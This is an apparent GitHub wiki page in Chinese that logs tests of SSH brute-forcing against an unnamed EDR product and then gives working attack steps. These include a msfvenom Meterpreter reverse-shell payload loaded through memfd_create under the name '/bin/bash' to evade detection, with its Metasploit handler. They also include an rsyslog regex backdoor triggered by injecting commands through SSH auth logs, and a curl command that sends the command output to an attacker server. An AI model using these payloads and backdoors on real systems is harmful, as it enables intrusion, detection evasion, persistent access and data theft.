-
Notifications
You must be signed in to change notification settings - Fork 65
某EDR测试记录
Coco edited this page Sep 21, 2022
·
1 revision
- 测试命令:
cube crack -s <Victim IP> -x ssh
- 测试结果: 瞬间告警
- 测试命令:
cube crack -s <Victim IP> -x ssh --delay 5
- 测试结果: 等待破解大概50次密码的时候告警
- 测试命令:
cube crack -s <Victim IP> -x ssh --delay 10
- 测试结果: 等待破解大概50次密码的时候告警
- 测试命令:
cube crack -s <Victim IP> -x ssh --delay 15
- 测试结果: 跑一段时间之后告警:使用系统不存在的账号达到指定次数
EDR爆破告警模块至少包含三条策略:
- 短时间内大量爆破告警
- 长时间内密码错误超过50次告警,据推测大概是10分钟,实际测试当间隔11秒(10*60/50)的时候不会触发告警(因为爆破也消耗了时间)
- 不存在的账号爆破10次告警
./msfvenom -p linux/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=<Attack IP> LPORT=9999 -f elf > /tmp/test
- 使用go-bindata打包elf文件: ./go-bindata ./test 得到bindata.go
- 加入运行代码
const (
mfdCloexec = 0x0001 // 注意这个syscall 只有 3.17 之后的内核才支持,现在大部分的机器都支持了。
memfdCreate = 319
)
func main() {
data, err := Asset("test")
if err != nil {
// Asset was not found.
fmt.Println("read test file content error!")
}
filename := ""
fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&filename)), uintptr(mfdCloexec), 0)
_, _ = syscall.Write(int(fd), data)
displayName := "/bin/bash"
fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
_ = syscall.Exec(fdPath, []string{displayName}, nil)
}
- 使用go编译为Linux平台的ELF文件,上传到受害主机运行文件,同时攻击端MSF监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set encoder x86/shikata_ga_nai
set lhost <Attack IP>
set lport 9999
set exitonsession false
run -j
echo -e '#!/bin/sh\nsh -c "$1"'>/bin/atg
chmod 755 /bin/atg
echo "auth.*,regex, abcd ^/bin/atg" > /etc/rsyslog.d/README.conf
重启生效(Centos用下面的systemctl):
/etc/init.d/rsyslog restart
systemctl restart rsyslog
后门触发:echo "';id>/tmp/rsyslogd.owned;'"|socat STDIO TCP4:<Victim>:22
后门效果:执行id命令之后写入到 /tmp/rsyslogd.owned
因为执行完命令之后没有命令回显,所以可以加上curl把结果上传到远程服务器:
echo "';curl -F "data=@/tmp/rsyslogd.owned" <attack>:1337;'"|socat STDIO TCP4:<victim>:22